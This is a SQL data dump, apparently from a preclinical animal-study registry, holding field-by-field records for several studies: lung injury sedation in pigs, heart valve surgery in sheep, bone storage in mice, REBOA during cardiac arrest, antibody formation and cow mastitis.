	(5764,129,'study_arms','[{\"type\":\"sham\",\"number\":\"6\",\"intervention\":\"Intravenous sedation with propofol in pigs without lung injury\"},{\"type\":\"control\",\"number\":\"6\",\"intervention\":\"Intravenous sedation with propofol in pigs with acid-induced lung injury\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Inhaled sedation with sevoflurane in pigs with acid-induced lung injury\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Inhaled sedation with isoflurane in pigs with acid-induced lung injury\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5765,129,'randomisation','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5766,129,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5767,129,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5768,129,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5769,129,'yes_blinded_intervention_how_details','\" Investigators performing animal experiments and collecting samples will not be blinded to group allocation.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5770,129,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5771,129,'investigators_blinded_assessment','\"researchers_performing_measurements_f_e_g_blood_gas_analyses_protein_and_cytokine_measurement_in_biological_samples_histology_and_the_statistician_performing_analyses_will_be_blinded\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5772,129,'placebo_controlled','\"no\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5773,129,'original_animal_ethics_committee_application','\"Animal Ethics Committee of the French &quot;Minist\\u00e8re de l\\u2019Enseignement Sup\\u00e9rieur et de la Recherche \\u2013 Direction G\\u00e9n\\u00e9rale pour la Recherche et l\\u2019Innovation&quot;\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5774,129,'application_number','\"Approval number 01505.03\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5775,129,'has_embargo','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5776,130,'title','\"In-situ tissue engineering of the right ventricle outflow tract (RVOT) with a monocusp valve. \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5777,130,'short_title','\"OneValve for Life\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5778,130,'contact_name','\"Marcelle uiterwijk\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5779,130,'contact_role','\"Executive researcher\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5780,130,'contact_email','\"m.uiterwijk@amc.uva.nl\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5781,130,'study_centre','[{\"name\":\"University of Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5782,130,'financial_support','[\"grants\"]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5783,130,'end_date','\"2018-12-31\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5784,130,'start_date','\"2016-06-01\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5785,130,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:43','2022-03-31 13:24:03'),
	(5786,130,'research_field','\"Congenital cardiothoracic surgery\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5787,130,'hypothesis','\"(congenital) Heart valve diseases\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5788,130,'intervention_type','\"surgery\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5789,130,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5790,130,'primary_readout_parameter','\"Feasibility: Valve function based on qualitative and quantitative echocardiographic analyses over after 24 months. More specific Pulmonary regurgitation, pulmonary stenosis (pressure gradient)\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5791,130,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5792,130,'species','\"sheep\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5793,130,'strain','\"Swifter\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5794,130,'sex','\"female\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5795,130,'sample_size_calculation','\"no\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5796,130,'sum_of_animals','\"27\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5797,130,'study_arms','[{\"type\":\"intervention\",\"number\":\"16\",\"intervention\":\"RVOT reconstruction with Material A  (monocusp) and A+B (transannular patch)\"},{\"type\":\"intervention\",\"number\":\"11\",\"intervention\":\"RVOT reconstruction with Material A  (monocusp) and A (transannular patch)\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5798,130,'randomisation','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5799,130,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5800,130,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5801,130,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5802,130,'yes_blinded_intervention_partially_details','\"Yes partially\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5803,130,'placebo_controlled','\"no\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5804,130,'has_embargo','\"no\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5805,130,'secondary_readout_parameter','\"Tissue formation (Extracellular matrix formation and cell infiltration) of the valve leaflet and transannular patch by Immunochemistry, bio assay, SEM and confocal microscopy analyses, \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5806,130,'no_exclusive_animal_use_details','\"Pre-clinical \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5807,130,'investigators_blinded_assessment','\"echocardiographic_analyses_blinded_histological_analyses_partly-blinded_cause_material_b_can_be_recognized_easy_on_the_histological_slides\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5808,130,'application_number','\"AVDll5002Ol7S66\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5809,130,'experimental_design','\"Right ventricle outflow reconstruction by open heart valve surgery on cardiopulmonary bypass.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5810,131,'has_embargo','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5811,131,'placebo_controlled','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5812,131,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5813,131,'yes_blinded_intervention_partially_details','\"Yes partially\"','2022-03-31 13:23:43','2022-03-31 13:23:45'),
	(5814,131,'randomisation','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5815,131,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5816,131,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5817,131,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"native tissue\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Cryopreservation\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Paraformaldehyd storage\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5818,131,'sample_size_calculation','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5819,131,'sample_size_calculation_details','\"Prior to harvesting the sample size was calculated using a sample size calculator Medical University of Vienna.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5820,131,'sex','\"female\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5821,131,'species','\"mouse\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5822,131,'exclusive_animal_use','\"no\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5823,131,'no_exclusive_animal_use_details','\"This animals are part of an animal study \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5824,131,'secondary_readout_parameter','\"Our secondary hypothesis was that freezing decreases the load to failure in comparison to native bone or paraformaldehyde fixation.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5825,131,'primary_readout_parameter','\"Efficacy: Efficacy of different storage methods and the influence on bone tissue\\nThere is one endpoint measured; the load to failure rate after usage of different storage methods:\\nParaformaldehyde fixation vs. freezing vs. native murine bone tissue\"','2022-03-31 13:23:43','2022-03-31 13:23:45'),
	(5826,131,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5827,131,'intervention_type','\"other\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5828,131,'other_intervention_type','\"Influence of different storage methods on biomechanical properties of bone tissue\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5829,131,'research_field','\"Bone healing\"','2022-03-31 13:23:43','2022-03-31 13:23:45'),
	(5830,131,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5831,131,'end_date','\"2018-01-30\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5832,131,'start_date','\"2018-01-15\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5833,131,'financial_support','[\"grants\"]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5834,131,'study_centre','[{\"name\":\"Medical University of Vienna\",\"city\":\"Vienna\",\"country\":\"AT\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5835,131,'contact_name','\"Thomas Tiefenboeck, M.D., MSc\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5836,131,'contact_role','\"Researcher, PhD student\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5837,131,'contact_email','\"thomas.tiefenboeck@meduniwien.ac.at\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5838,131,'title','\"Analysis of the biomechanical properties of bone tissue following two different storage methods \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5839,131,'short_title','\"Biomechanical properties of bone tissue following storage\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5840,131,'hypothesis','\"We hypothesized that paraformaldehyde and freezing have different effects on the mechanical properties of murine bone. \"','2022-03-31 13:23:43','2022-03-31 13:23:45'),
	(5841,131,'strain','\"C57BL\\/6, female, all 18 weeks old\"','2022-03-31 13:23:43','2022-03-31 13:23:45'),
	(5842,131,'experimental_design','\"A mice model (fracture \\/ pseudarthrosis) with Fifteen 18-week-old female C57BL\\/6 mice was used.\\nAll used mice were part of a control group.\"','2022-03-31 13:23:43','2022-03-31 13:23:45'),
	(5843,131,'sum_of_animals','\"10 tibias each arm were tested\\nso in total 15 animals were sacrificed\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5844,131,'application_number','\"Prior to commencing the study the corresponding animal ethics review board and the BMFWF approved the study (ZI. 177\\/115-97\\/98 out 2014\\/15)\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5845,131,'link_to_data','\"none\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5846,132,'contact_name','\"Markus Harboe Olsen\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5847,132,'contact_role','\"Investigator\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5848,132,'contact_email','\"mols0212@regionh.dk\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5849,132,'study_centre','[{\"name\":\"Rigshospitalet\",\"city\":\"Copenhagen\",\"country\":\"DK\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5850,132,'financial_support','[\"industry\"]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5851,132,'start_date','\"2018-10-20\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5852,132,'end_date','\"2019-05-31\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5853,132,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:43','2022-03-31 13:23:45'),
	(5854,132,'research_field','\"cardiology, neuroscience, emergency medicine\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5855,132,'hypothesis','\"The safeREBOA device is intended for temporary occlusion of large vessels and can be used safely and will perform in pigs with cardiac arrest.\\n\\nTreatment with Advanced Life Support (ALS), together with safeREBOA, increase effectiveness of cardiopulmonary resuscitation measured by multimodal monitoring including arterial blood pressure, cerebral oxygenation, ICP, carotid flow, and cerebral perfusion pressure.\"','2022-03-31 13:23:43','2022-03-31 13:23:46'),
	(5856,132,'intervention_type','\"surgery\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5857,132,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5858,132,'primary_readout_parameter','\"Efficacy: Higher arterial pressures (superior to the occluding balloon at the level superior to the Left Subclavian Artery [LSA]) at 4 minutes after initiation of LUCAS, in the safeREBOA group as compared to the control group (4 minutes after initiation LUCAS). Arterial pressures in the control group are measured at the level superior to the LSA. In the safeREBOA group the balloon is inflated 2 minutes after initiation of LUCAS.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5859,132,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5860,132,'species','\"pig\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5861,132,'sex','\"female\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5862,132,'sample_size_calculation','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5863,132,'sum_of_animals','\"20\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5864,132,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Cardiac arrest and Cardiopulmonary Resuscitation using ALS\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Cardiac arrest and Cardiopulmonary Resuscitation using ALS, including REBOA.\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5865,132,'randomisation','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5866,132,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5867,132,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5868,132,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5869,132,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5870,132,'placebo_controlled','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5871,132,'has_embargo','\"no\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5872,134,'title','\"Reducing the formation of antigen-specific antibodies\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5873,134,'contact_name','\"Morgan McSweeney\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5874,134,'contact_role','\"Researcher\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5875,134,'contact_email','\"morgan_mcsweeney@unc.edu\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5876,134,'study_centre','[{\"name\":\"UNC-CH\",\"city\":\"Chapel Hill\",\"country\":\"US\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5877,134,'financial_support','[\"grants\"]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5878,134,'start_date','\"2018-09-11\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5879,134,'end_date','\"2018-10-16\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5880,134,'study_status','\"active\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5881,134,'research_field','\"Pharmaceutical Science, Immunology\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5882,134,'hypothesis','\"The administration of experimental therapeutics + antigen will reduce the concentration of antigen-specific antibodies produced upon challenge 2 weeks later. Group average antibody concentrations will be compared with a 1-tailed t test, in agreement with the directional hypothesis..\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5883,134,'intervention_type','\"compound\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5884,134,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5885,134,'primary_readout_parameter','\"Efficacy: The concentration of antigen-specific antibody produced 7 days following challenge with an immunogenic particle. \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5886,134,'secondary_readout_parameter','\"The total concentration of antibodies present in the serum 7 days following challenge with an immunogenic particle.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5887,134,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5888,134,'species','\"mouse\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5889,134,'strain','\"BALB\\/c\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5890,134,'sex','\"both\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5891,134,'experimental_design','\"Healthy, normal BALB\\/c mice\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5892,134,'sample_size_calculation','\"no\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5893,134,'sum_of_animals','\"72\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5894,134,'study_arms','[{\"type\":\"sham\",\"number\":\"8\",\"intervention\":\"PBS\"},{\"type\":\"control\",\"number\":\"4\",\"intervention\":\"200uL of 0.2 mM vehicle control particles\"},{\"type\":\"control\",\"number\":\"4\",\"intervention\":\"200uL of 0.05 mM vehicle control particles\"},{\"type\":\"control\",\"number\":\"4\",\"intervention\":\"200uL of 0.01 mM vehicle control particles\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"200uL of 0.2 mM test particles\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"200uL of 0.05 mM test particles\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"200uL of 0.01 mM test particles\"},{\"type\":\"control\",\"number\":\"4\",\"intervention\":\"5 umole\\/kg known positive control particles\"},{\"type\":\"control\",\"number\":\"4\",\"intervention\":\"0.1 umole\\/kg known positive control particles\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"5 umole\\/kg test particles with small molecule immune modulator\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"5 umole\\/kg alternate lipid particles\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"1 umole\\/kg alternate lipid particles\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"550 mg\\/kg compound #40, 30 min prior to challenge\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"55 mg\\/kg compound #40, 30 min prior to challenge\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"5.5 mg\\/kg compound #40, 30 min prior to challenge\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"550 mg\\/kg compound #10, 30 min prior to challenge\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"55 mg\\/kg compound #10, 30 min prior to challenge\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5895,134,'randomisation','\"no\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5896,134,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5897,134,'yes_blinded_intervention_how_details','\"All technicians performing injections, animal handling, and biological sample collection were blinded to treatment allocation. Technicians performing data collection steps of in vitro measurement of antibodies were blinded to treatment allocation.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5898,134,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5899,134,'investigators_blinded_assessment','\"the_mean_and_standard_deviation_of_antibody_concentrations_in_the_various_treatment_groups_will_be_calculated_and_used_to_perform_a_1-sided_t_test_the_results_will_be_analyzed_by_a_researcher_with_no_knowledge_of_group_treatments\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5900,134,'placebo_controlled','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5901,134,'application_number','\"17-149\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5902,134,'has_embargo','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5903,135,'title','\"Effectivity of antibiotic-free treatment of lactating cows with subclinical mastitis\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5904,135,'contact_name','\"Janine Donker\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5905,135,'contact_role','\"supervisor\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5906,135,'contact_email','\"janinedonker@mastivax.com\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5907,135,'study_centre','[{\"name\":\"Mastivax\",\"city\":\"Leeuwarden\",\"country\":\"NL\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5908,135,'financial_support','[\"investigator_driven\",\"grants\"]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5909,135,'start_date','\"2018-10-22\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5910,135,'end_date','\"2019-10-22\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5911,135,'study_status','\"not_started\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5912,135,'research_field','\"Infection diseases \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5913,135,'hypothesis','\"There is a main treatment effect of WBC and IgG and an interaction of the combined treatment WBC+IgG on the 14-day decline in cell count of the infected quarter of cows in lactation stage 2-5 with subclinical mastitis caused by a streptococci\\/staphylococci bacteria.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5914,135,'intervention_type','\"compound\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5915,135,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5916,135,'primary_readout_parameter','\"Efficacy: decline after 14 days in cell count of the infected quarter, measured by Qlip. Milk sampling are taken in the afternoon. \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5917,135,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5918,135,'species','\"other\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5919,135,'other_species','\"Cow\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5920,135,'sex','\"female\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5921,135,'experimental_design','\"naturally infected subclinical mastitis cows\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5922,135,'sample_size_calculation','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5923,135,'sample_size_calculation_details','\"Alpha = 0,05 beta = 0,2 - 0,75. minimal detectable difference = 200.000- 500.000 cells\\/ml. expected number of drop-outs = 0 https:\\/\\/www.dropbox.com\\/s\\/o9lodne2i7wimp0\\/20181011%20Geupdate%20Poweranalyse%20Mastivax%20mastitis%20experiment.pdf?dl=0 \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5924,135,'sum_of_animals','\"32 cows.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5925,135,'study_arms','[{\"type\":\"sham\",\"number\":\"8\",\"intervention\":\"PBS\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"WBC\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"IgG\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"WBC+IgG\"}]','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5926,135,'randomisation','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5927,135,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5928,135,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5929,135,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5930,135,'yes_blinded_intervention_how_details','\"the farmers that treated the cows are blinded. \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5931,135,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5932,135,'placebo_controlled','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5933,135,'application_number','\"2017.D-0060.001 \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5934,135,'has_embargo','\"yes\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5935,132,'title','\"Efficacy of REBOA during Cardiac Arrest in a porcine model. \\n- a randomized controlled study\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5936,132,'short_title','\"Efficacy of REBOA during Cardiac Arrest in a porcine model.\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5937,132,'secondary_readout_parameter','\"Animals in the safeREBOA group, compared to the control, exhibit \\n\\n1.\\tLess CPR-time (if no ROSC CPR-time is 32 minutes)\\n\\n2.\\tHigher carotid flow (at 4th minutes after initiation of LUCAS)\\n\\n3.\\tHigher CPP (at 4th minutes after initiation of LUCAS)\\n\\n4.\\tStable ICP (at 4th minutes after initiation of LUCAS)\\n\\n5.\\tBetter microdialysis values (post hoc analysis)\\n\\n6.\\tHigher cerebral oxygen tension (at 4th minutes after initiation of LUCAS)\\n\\n7.\\tLess mitochondrial dysfunction (post hoc analysis)\\n\\n8.\\tLess oxidative stress (post hoc analysis)\\n\\n9.\\tHigher NIRS values (at 4th minutes after initiation of LUCAS)\\n\\n10.\\tLower values of biomarkers for cell damage of the brain. (post hoc analysis)\\n\\n11.\\tLower change in lactate, oxygen- and carbon dioxide tension between arterial and venous blood gas (at termination of CPR)\\n\\n12. Higher PbtO2-values (at 4th minutes after initiation of LUCAS) [was initially in the protocol but missed in this submission, 06.11.18]\"','2022-03-31 13:23:43','2022-03-31 13:23:44'),
	(5938,132,'experimental_design','\"Female pigs of Danish breed (35-55 kg) \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5939,132,'investigators_blinded_assessment','\"at_minimum_the_primary_outcome_is_validated_by_external_data_processor\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5940,132,'original_animal_ethics_committee_application','\"https:\\/\\/dyreforsoegstilsynet.fvst.dk\\/PublishedApprovals\\/Pages\\/default.aspx#\\/detail\\/4293758e-ebbc-448a-88f8-71f4985c82a4\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5941,132,'application_number','\"https:\\/\\/dyreforsoegstilsynet.fvst.dk\\/PublishedApprovals\\/Pages\\/default.aspx#\\/detail\\/c6263195-0398-40da-81cc-461ee67a1787\"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5942,132,'sample_size_calculation_details','\"Power calculation is made with the primary endpoint. From a feasibility trial (n=4) the mean arterial blood pressure (SD) during cardiac arrest, with ongoing cardiopulmonary rescusitation, was before inflation of REBOA 42.5 mmHg (8.77) and after 56.5 mmHg (8.56). Detection at a two-tailed alpha of 0.05 and a power (1-beta) of 0.80, would require inclusion 10 pigs in each treatment arm. (calculated using R version 3.4.1) \"','2022-03-31 13:23:43','2022-03-31 13:23:43'),
	(5943,136,'title','\"PRIS Test 15324\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5944,137,'title','\"Various Oxygen Concentrations during Cardiopulmonary Resuscitation of Asphyxiated Newborn Piglets\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5945,137,'short_title','\"Various Oxygen Concentrations during Cardiopulmonary Resuscitation of Asphyxiated Piglets using 3:1 Compression:Ventilation ratio\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5946,137,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5947,137,'financial_support','[\"grants\"]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5948,137,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5949,137,'start_date','\"2018-01-01\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5950,137,'end_date','\"2018-11-01\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5951,137,'study_status','\"completed_and_published_full-text\"','2022-03-31 13:23:44','2022-03-31 13:23:50'),
	(5952,137,'research_field','\"Pediatrics, Neonatology\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5953,137,'hypothesis','\"Cardiopulmonary resuscitation of asphyxiated newborn piglets with 18% oxygen would lead to a reduction in biochemical markers of oxidative stress and inflammation, and improve hemodynamic recovery compared to resuscitation with 21% and 100% oxygen.\"','2022-03-31 13:23:44','2022-03-31 13:23:50'),
	(5954,137,'intervention_type','\"compound\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
	(5955,137,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:44','2022-03-31 13:23:44'),
